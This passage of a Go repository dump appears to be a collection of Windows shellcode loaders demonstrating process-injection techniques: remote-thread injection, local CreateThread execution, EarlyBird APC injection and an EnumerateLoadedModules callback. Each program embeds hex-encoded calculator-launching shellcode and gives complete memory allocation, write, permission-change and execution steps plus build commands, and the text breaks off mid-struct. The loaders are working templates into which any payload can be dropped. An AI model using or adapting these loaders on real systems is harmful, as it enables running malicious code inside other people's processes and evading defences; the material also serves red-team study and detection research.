114 | errCloseHandle := windows.CloseHandle(pHandle)
115 | if errCloseHandle != nil {
116 | log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
117 | }
118 | if *verbose {
119 | fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
120 | }
121 |
122 | }
123 |
124 | // export GOOS=windows GOARCH=amd64;go build -o goCreateRemoteThread.exe cmd/CreateRemoteThread/main.go
125 |
--------------------------------------------------------------------------------
/cmd/CreateRemoteThreadNative/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in a remote process using the following steps
5 | 1. Get a handle to the target process
6 | 1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
7 | 2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
8 | 3. Change the memory page permissions to Execute/Read with VirtualProtectEx
9 | 4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
10 | 5. Close the handle to the remote process
11 |
12 | This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
13 | */
14 |
15 | package main
16 |
17 | import (
18 | "encoding/hex"
19 | "flag"
20 | "fmt"
21 | "log"
22 | "os"
23 | "unsafe"
24 |
25 | // Sub Repositories
26 | "golang.org/x/sys/windows"
27 | )
28 |
29 | func main() {
30 | verbose := flag.Bool("verbose", false, "Enable verbose output")
31 | debug := flag.Bool("debug", false, "Enable debug output")
32 | // To hardcode the Process Identifier (PID), change 0 to the PID of the target process
33 | pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
34 | flag.Usage = func() {
35 | flag.PrintDefaults()
36 | os.Exit(0)
37 | }
38 | flag.Parse()
39 |
40 | // Pop Calc Shellcode
41 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
42 | if errShellcode != nil {
43 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
44 | }
45 |
46 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
47 |
48 | OpenProcess := kernel32.NewProc("OpenProcess")
49 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
50 | VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
51 | WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
52 | CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
53 | CloseHandle := kernel32.NewProc("CloseHandle")
54 |
55 | if *debug {
56 | fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
57 | }
58 | pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
59 |
60 | if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
61 | log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
62 | }
63 | if *verbose {
64 | fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
65 | }
66 |
67 | if *debug {
68 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
69 | }
70 | addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
71 |
72 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
73 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
74 | }
75 |
76 | if addr == 0 {
77 | log.Fatal("[!]VirtualAllocEx failed and returned 0")
78 | }
79 | if *verbose {
80 | fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
81 | }
82 |
83 | if *debug {
84 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
85 | }
86 | _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
87 |
88 | if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
89 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
90 | }
91 | if *verbose {
92 | fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
93 | }
94 |
95 | if *debug {
96 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
97 | }
98 | oldProtect := windows.PAGE_READWRITE
99 | _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
100 | if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
101 | log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
102 | }
103 | if *verbose {
104 | fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
105 | }
106 |
107 | if *debug {
108 | fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
109 | }
110 | _, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
111 | if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
112 | log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
113 | }
114 | if *verbose {
115 | fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
116 | }
117 |
118 | if *debug {
119 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
120 | }
121 | _, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
122 | if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
123 | log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
124 | }
125 | if *verbose {
126 | fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
127 | }
128 |
129 | }
130 |
131 | // export GOOS=windows GOARCH=amd64;go build -o goCreateRemoteThreadNative.exe cmd/CreateRemoteThreadNative/main.go
132 |
--------------------------------------------------------------------------------
/cmd/CreateThread/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in the current process using the following steps
5 | 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
6 | 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
7 | 3. Change the memory page permissions to Execute/Read with VirtualProtect
8 | 4. Call CreateThread on shellcode address
9 | 5. Call WaitForSingleObject so the program does not end before the shellcode is executed
10 |
11 | This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
12 | */
13 |
14 | package main
15 |
16 | import (
17 | "encoding/hex"
18 | "flag"
19 | "fmt"
20 | "log"
21 | "unsafe"
22 |
23 | // Sub Repositories
24 | "golang.org/x/sys/windows"
25 | )
26 |
27 | func main() {
28 | verbose := flag.Bool("verbose", false, "Enable verbose output")
29 | debug := flag.Bool("debug", false, "Enable debug output")
30 | flag.Parse()
31 |
32 | // Pop Calc Shellcode
33 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
34 | if errShellcode != nil {
35 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
36 | }
37 |
38 | if *debug {
39 | fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
40 | }
41 | addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
42 |
43 | if errVirtualAlloc != nil {
44 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
45 | }
46 |
47 | if addr == 0 {
48 | log.Fatal("[!]VirtualAlloc failed and returned 0")
49 | }
50 |
51 | if *verbose {
52 | fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
53 | }
54 |
55 | if *debug {
56 | fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
57 | }
58 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
59 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
60 | _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
61 |
62 | if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
63 | log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
64 | }
65 |
66 | if *verbose {
67 | fmt.Println("[-]Shellcode copied to memory")
68 | }
69 |
70 | if *debug {
71 | fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
72 | }
73 | var oldProtect uint32
74 | errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
75 | if errVirtualProtect != nil {
76 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
77 | }
78 | if *verbose {
79 | fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
80 | }
81 |
82 | if *debug {
83 | fmt.Println("[DEBUG]Calling CreateThread...")
84 | }
85 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
86 | CreateThread := kernel32.NewProc("CreateThread")
87 | thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
88 |
89 | if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
90 | log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
91 | }
92 | if *verbose {
93 | fmt.Println("[+]Shellcode Executed")
94 | }
95 |
96 | if *debug {
97 | fmt.Println("[DEBUG]Calling WaitForSingleObject...")
98 | }
99 |
100 | event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
101 | if errWaitForSingleObject != nil {
102 | log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
103 | }
104 | if *verbose {
105 | fmt.Println(fmt.Sprintf("[-]WaitForSingleObject returned with %d", event))
106 | }
107 | }
108 |
109 | // export GOOS=windows GOARCH=amd64;go build -o goCreateThread.exe cmd/CreateThread/main.go
110 |
--------------------------------------------------------------------------------
/cmd/CreateThreadNative/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in the current process using the following steps
5 | 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
6 | 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
7 | 3. Change the memory page permissions to Execute/Read with VirtualProtect
8 | 4. Call CreateThread on shellcode address
9 | 5. Call WaitForSingleObject so the program does not end before the shellcode is executed
10 |
11 | This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
12 | */
13 |
14 | package main
15 |
16 | import (
17 | "encoding/hex"
18 | "flag"
19 | "fmt"
20 | "log"
21 | "unsafe"
22 |
23 | // Sub Repositories
24 | "golang.org/x/sys/windows"
25 | )
26 |
27 | const (
28 | // MEM_COMMIT is a Windows constant used with Windows API calls
29 | MEM_COMMIT = 0x1000
30 | // MEM_RESERVE is a Windows constant used with Windows API calls
31 | MEM_RESERVE = 0x2000
32 | // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
33 | PAGE_EXECUTE_READ = 0x20
34 | // PAGE_READWRITE is a Windows constant used with Windows API calls
35 | PAGE_READWRITE = 0x04
36 | )
37 |
38 | func main() {
39 | verbose := flag.Bool("verbose", false, "Enable verbose output")
40 | debug := flag.Bool("debug", false, "Enable debug output")
41 | flag.Parse()
42 |
43 | // Pop Calc Shellcode
44 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
45 | if errShellcode != nil {
46 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
47 | }
48 |
49 | if *debug {
50 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
51 | }
52 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
53 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
54 |
55 | if *debug {
56 | fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
57 | }
58 | VirtualAlloc := kernel32.NewProc("VirtualAlloc")
59 | VirtualProtect := kernel32.NewProc("VirtualProtect")
60 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
61 | CreateThread := kernel32.NewProc("CreateThread")
62 | WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
63 |
64 | if *debug {
65 | fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
66 | }
67 | addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
68 |
69 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
70 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
71 | }
72 |
73 | if addr == 0 {
74 | log.Fatal("[!]VirtualAlloc failed and returned 0")
75 | }
76 |
77 | if *verbose {
78 | fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
79 | }
80 |
81 | if *debug {
82 | fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
83 | }
84 | _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
85 |
86 | if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
87 | log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
88 | }
89 | if *verbose {
90 | fmt.Println("[-]Shellcode copied to memory")
91 | }
92 |
93 | if *debug {
94 | fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
95 | }
96 |
97 | oldProtect := PAGE_READWRITE
98 | _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
99 | if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
100 | log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
101 | }
102 | if *verbose {
103 | fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
104 | }
105 |
106 | if *debug {
107 | fmt.Println("[DEBUG]Calling CreateThread...")
108 | }
109 | //var lpThreadId uint32
110 | thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
111 |
112 | if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
113 | log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
114 | }
115 | if *verbose {
116 | fmt.Println("[+]Shellcode Executed")
117 | }
118 |
119 | if *debug {
120 | fmt.Println("[DEBUG]Calling WaitForSingleObject...")
121 | }
122 |
123 | _, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
124 | if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
125 | log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
126 | }
127 | }
128 |
129 | // export GOOS=windows GOARCH=amd64;go build -o goCreateThreadNative.exe cmd/CreateThreadNative/main.go
130 |
--------------------------------------------------------------------------------
/cmd/EarlyBird/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | // Concept pulled from https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
4 |
5 | /*
6 | This program executes shellcode in a child process using the following steps:
7 | 1. Create a child proccess in a suspended state with CreateProcessW
8 | 2. Allocate RW memory in the child process with VirtualAllocEx
9 | 3. Write shellcode to the child process with WriteProcessMemory
10 | 4. Change the memory permissions to RX with VirtualProtectEx
11 | 5. Add a UserAPC call that executes the shellcode to the child process with QueueUserAPC
12 | 6. Resume the suspended program with ResumeThread function
13 | */
14 |
15 | package main
16 |
17 | import (
18 | "encoding/hex"
19 | "flag"
20 | "fmt"
21 | "log"
22 | "os"
23 | "syscall"
24 | "unsafe"
25 |
26 | // Sub Repositories
27 | "golang.org/x/sys/windows"
28 | )
29 |
30 | func main() {
31 | verbose := flag.Bool("verbose", false, "Enable verbose output")
32 | debug := flag.Bool("debug", false, "Enable debug output")
33 | program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
34 | args := flag.String("args", "", "Program command line arguments")
35 | flag.Usage = func() {
36 | flag.PrintDefaults()
37 | os.Exit(0)
38 | }
39 | flag.Parse()
40 |
41 | // Pop Calc Shellcode (x64)
42 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
43 | if errShellcode != nil {
44 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
45 | }
46 |
47 | if *debug {
48 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
49 | }
50 |
51 | // Load DLLs and Procedures
52 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
53 |
54 | if *debug {
55 | fmt.Println("[DEBUG]Loading supporting procedures...")
56 | }
57 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
58 | VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
59 | WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
60 | QueueUserAPC := kernel32.NewProc("QueueUserAPC")
61 |
62 | // Create child proccess in suspended state
63 | /*
64 | BOOL CreateProcessW(
65 | LPCWSTR lpApplicationName,
66 | LPWSTR lpCommandLine,
67 | LPSECURITY_ATTRIBUTES lpProcessAttributes,
68 | LPSECURITY_ATTRIBUTES lpThreadAttributes,
69 | BOOL bInheritHandles,
70 | DWORD dwCreationFlags,
71 | LPVOID lpEnvironment,
72 | LPCWSTR lpCurrentDirectory,
73 | LPSTARTUPINFOW lpStartupInfo,
74 | LPPROCESS_INFORMATION lpProcessInformation
75 | );
76 | */
77 |
78 | if *debug {
79 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
80 | }
81 | procInfo := &windows.ProcessInformation{}
82 | startupInfo := &windows.StartupInfo{
83 | Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
84 | ShowWindow: 1,
85 | }
86 | errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
87 | if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
88 | log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
89 | }
90 | if *verbose {
91 | fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
92 | }
93 |
94 | // Allocate memory in child process
95 | if *debug {
96 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
97 | }
98 | addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
99 |
100 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
101 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
102 | }
103 |
104 | if addr == 0 {
105 | log.Fatal("[!]VirtualAllocEx failed and returned 0")
106 | }
107 | if *verbose {
108 | fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
109 | }
110 | if *debug {
111 | fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
112 | }
113 |
114 | // Write shellcode into child process memory
115 | if *debug {
116 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
117 | }
118 | _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
119 |
120 | if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
121 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
122 | }
123 | if *verbose {
124 | fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
125 | }
126 |
127 | // Change memory permissions to RX in child process where shellcode was written
128 | if *debug {
129 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
130 | }
131 | oldProtect := windows.PAGE_READWRITE
132 | _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
133 | if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
134 | log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
135 | }
136 | if *verbose {
137 | fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
138 | }
139 |
140 | // QueueUserAPC
141 | if *debug {
142 | fmt.Println("[DEBUG]Calling QueueUserAPC")
143 | }
144 |
145 | ret, _, err := QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
146 | if err != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
147 | log.Fatal(fmt.Sprintf("[!]Error calling QueueUserAPC:\n%s", err.Error()))
148 | }
149 | if *debug {
150 | fmt.Printf("[DEBUG]The QueueUserAPC call returned %v\n", ret)
151 | }
152 | if *verbose {
153 | fmt.Printf("[-]Successfully queued a UserAPC on process ID %d\n", procInfo.ProcessId)
154 | }
155 |
156 | // Resume the child process
157 | if *debug {
158 | fmt.Println("[DEBUG]Calling ResumeThread...")
159 | }
160 | _, errResumeThread := windows.ResumeThread(procInfo.Thread)
161 | if errResumeThread != nil {
162 | log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
163 | }
164 | if *verbose {
165 | fmt.Println("[+]Process resumed and shellcode executed")
166 | }
167 |
168 | // Close the handle to the child process
169 | if *debug {
170 | fmt.Println("[DEBUG]Calling CloseHandle on child process...")
171 | }
172 | errCloseProcHandle := windows.CloseHandle(procInfo.Process)
173 | if errCloseProcHandle != nil {
174 | log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
175 | }
176 |
177 | // Close the hand to the child process thread
178 | if *debug {
179 | fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
180 | }
181 | errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
182 | if errCloseThreadHandle != nil {
183 | log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
184 | }
185 | }
186 |
187 | // export GOOS=windows GOARCH=amd64;go build -o goEarlyBird.exe cmd/EarlyBird/main.go
188 |
--------------------------------------------------------------------------------
/cmd/EnumerateLoadedModules/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | // This technique is semi-unreliable because the shellcode is sometimes executed multiple times
4 |
5 | package main
6 |
7 | import (
8 | // Standard
9 |
10 | "encoding/hex"
11 | "flag"
12 | "fmt"
13 | "log"
14 | "syscall"
15 | "unsafe"
16 |
17 | // Sub Repositories
18 | "golang.org/x/sys/windows"
19 | )
20 |
21 | func main() {
22 | verbose := flag.Bool("verbose", false, "Enable verbose output")
23 | debug := flag.Bool("debug", false, "Enable debug output")
24 | flag.Parse()
25 |
26 | // Pop Calc Shellcode
27 | shellcode, err := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
28 | if err != nil {
29 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", err))
30 | }
31 |
32 | if *debug {
33 | fmt.Println("[DEBUG]Calling VirtualAlloc with PAGE_READWRITE...")
34 | }
35 | addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
36 |
37 | if errVirtualAlloc != nil {
38 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
39 | }
40 |
41 | if addr == 0 {
42 | log.Fatal("[!]VirtualAlloc failed and returned 0")
43 | }
44 |
45 | if *verbose {
46 | fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
47 | }
48 |
49 | if *debug {
50 | fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...")
51 | }
52 |
53 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
54 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
55 |
56 | _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
57 |
58 | if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
59 | log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
60 | }
61 |
62 | if *verbose {
63 | fmt.Println("[-]Shellcode copied to memory")
64 | }
65 |
66 | if *debug {
67 | fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...")
68 | }
69 | var oldProtect uint32
70 | errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
71 | if errVirtualProtect != nil {
72 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
73 | }
74 | if *verbose {
75 | fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
76 | }
77 |
78 | if *debug {
79 | fmt.Println("[DEBUG]Calling GetCurrentProcess...")
80 | }
81 | kernel32 := windows.NewLazySystemDLL("kernel32")
82 | GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
83 | // HANDLE GetCurrentProcess();
84 | // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess
85 | handle, _, err := GetCurrentProcess.Call()
86 | if err != syscall.Errno(0) {
87 | log.Fatal(fmt.Sprintf("[!]Error calling GetCurrentProcess:\r\n%s", err))
88 | }
89 |
90 | if *debug {
91 | fmt.Println("[DEBUG]Calling EnumerateLoadedModules...")
92 | }
93 |
94 | dbghelp := windows.NewLazySystemDLL("Dbghelp")
95 | enumerateLoadedModules := dbghelp.NewProc("EnumerateLoadedModules")
96 | // BOOL IMAGEAPI EnumerateLoadedModules(
97 | // HANDLE hProcess,
98 | // PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback,
99 | // PVOID UserContext
100 | // );
101 | // https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-enumerateloadedmodules
102 | _, _, err = enumerateLoadedModules.Call(handle, addr, 0)
103 | if err != syscall.Errno(0) {
104 | log.Fatal(fmt.Sprintf("[!]Error calling EnumerateLoadedModules:\r\n%s", err))
105 | }
106 |
107 | if *verbose {
108 | fmt.Println("[+]Shellcode executed")
109 | }
110 | }
111 |
112 | // BOOL PenumloadedModulesCallback(
113 | // PCSTR ModuleName,
114 | // ULONG ModuleBase,
115 | // ULONG ModuleSize,
116 | // PVOID UserContext
117 | // )
118 |
119 | type PENUMLOADED_MODULES_CALLBACK struct {
120 | ModuleName uintptr // The name of the enumerated module
